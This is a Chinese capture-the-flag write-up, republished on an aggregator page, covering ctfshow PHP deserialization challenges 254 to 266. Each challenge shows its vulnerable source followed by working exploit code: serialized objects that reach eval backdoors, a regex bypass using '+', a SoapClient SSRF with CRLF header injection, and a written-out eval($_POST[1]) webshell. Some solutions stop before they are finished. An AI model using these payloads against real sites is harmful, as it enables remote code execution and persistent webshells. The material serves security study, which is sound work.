IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow254-278(代码审计,反序列化) -> 正文阅读

[PHP知识库]ctfshow254-278(代码审计,反序列化)

ctfshow254(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){   
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}



if(isset($username) && isset($password)){   
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();

这一段传入两个参数,往下实例化一个 ctfShowUser() ,如果$user里的login方法 if($this->username===$u&&$this->password===$p){?$this->isVip=true; 就把isvip设置为true,然后?if($user->checkVip()){ $user->vipOneKeyGetFlag();?直接符合条件输出?vipOneKeyGetFlag()?里的flag

ctfshow255(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}


if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']); 

这段代码需要传入两个参数username和password,然后会反序列化cookie的user



class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }

这段代码需要让 $isVip=true; username===$u&&$this->password===$p; 传入的账号密码和里面的值相等

构建反序列化:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));

把输出结果写入cookie,在get传入:?username=xxxxxx&password=xxxxxx

ctfshow256(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}



public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }

传入的username和password不能相等,构造payload

<?php
class ctfShowUser
{
    public $username = '1';
    public $password = '2';
    public $isVip = true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
    ?>

?username=1&password=2

ctfshow257(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){//创建
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){ //销毁
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
public function getInfo(){
        eval($this->code);
    }
getInfo里面有eval,需要控制参数code的值,

 

class backDoor{
    private $code;  值是可控的

需要实例化对象时调用可以new一个方法,可控的


   public function __construct(){
        $this->class=new info();
    }

构建payload:

<?php
class ctfShowUser
{
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = false;
    private $class;

        public function __construct()
        {
        $this->class = new backDoor();
        }
}
class backDoor
{
    private $code = "system('tac flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

?username=&password=

ctfshow258(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}


if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);

比上一题多了一个正则,不能匹配到o:后面的数字

知识点:使用+号绕过匹配

构造payload:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class;

    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='eval($_POST[1]);';
}

$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode($b);

?username=&password=

1=system('ls');

ctfshow259(代码审计,反序列化)

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']); //反序列化接收的vip参数
//vip can get flag one key
$vip->getFlag();//调用一个不存在的函数
flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  //构造的x-forwarded_for需要用,分隔
array_pop($xff);           //抽出一次最后一组
$ip = array_pop($xff); //将最后一组赋值给ip。


if($ip!=='127.0.0.1'){   //传入的ip值需要为127.0.0.1
	die('error');
}else{
	$token = $_POST['token'];   //post接收的token需要等于ctfshow
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);   //最后输出flag.txt
	}
}

知识点:php原生类的 soapclient函数,当实例化一个不存在的方法时调用内置的call方法,会接收(str,arr)。可以通过_call方法发送请求

构造soap发送请求:

$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));//请求头,请求地址,url,user_agent包括了所有需要的参数

echo urlencode(serialize($client));//序列化后通过vip传入

最终payload:/flag.txt?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问flag.txt

ctfshow260(代码审计,反序列化)

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

//接收ctfshow的参数并序列化,只要序列化后还有

ctfshow_i_love_36D

就返回flag

paload构造:?ctfshow= ctfshow_i_love_36D

ctfshow261(代码审计,反序列化)

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username='';
    public $password='';
    public $code;

    public function __construct($u,$p){   //实例化时调用
        $this->username='877.php';
        $this->password='<?php @eval($_POST[1]); ?>';
    }
    public function __wakeup(){   //反序列化时调用
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){  //用调用函数的方法调用对象时调用,当同时存在unserialize时,invoke()失效
        eval($this->code);
    }

    public function __sleep(){  //序列化时调用,没有调用序列化的条件
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){  //反序列化时调用,由于最先使用的时创造函数,所以不考虑
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;//username会赋值给code
    }
    public function __destruct(){ //销毁时调用
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
//构造username,password成命令执行
unserialize($_GET['vip']);

构造:

<?php



class ctfshowvip{
    public $username;
    public $password='';
    public $code;

    public function __construct($u,$p){   //实例化时调用
        $this->username='877.php';
        $this->password='<?php @eval($_POST[1]); ?>';
    }

}
$a=new ctfshowvip();
echo serialize($a);

成功后访问877.php命令执行

ctfshow262(代码审计,反序列化,字符串逃逸)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));//str_replace字符串逃逸,fuck,loveU字符会无法替换到U,多出一位字符我们就可以控制一位字符,构造长度足够一句话的长度
    setcookie('msg',base64_encode($umsg));setcookie登录admin
    echo 'Your message has been sent';
}

ctfshow266(代码审计,反序列化)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

1.$cs = file_get_contents('php://input'); 解 file_get_contents 读取 php://input POST传入的数据会被 $ctfshowo=@unserialize($cs); 反序列化

2. function __destruct(){ global $flag; echo $flag; } 当销毁一个对象时调用

1.__construct()
	触发条件:new一个实例化对象的时候
	作用:初始化函数,对类进行初始化,同时也可以执行其它语句
2.__desturct()
	触发条件:销毁一个实例化对象的时候
	作用:析构函数,对实例化对象销毁,同时也可以执行其它语句
3.__wakeup()
	触发条件:反序列化时触发
	作用:额,就是调用一下,函数有什么功能这是自己定义的
4.__sleep()
	触发条件:序列化的时候触发
	作用:额,就是调用一下,函数有什么功能这是自己定义的
5.__invoke
	作用:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
	例如:class Ctfshow,然后使用$Ctfshow();时被调用
3.__unserialize()
	触发条件:7.4以上版本,反序列化时触发,且绕过__wakeup()

3. if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); } 传入的POST数据不能有 ctfshow 。大小写绕过

最终:

class ctfshow
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';


}

$a= new ctfshow();
echo serialize($a);

然后破坏完整的实例结构,就会触发 __desturct()

最终

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-24 10:36:11  更:2022-01-24 10:37:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:36:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码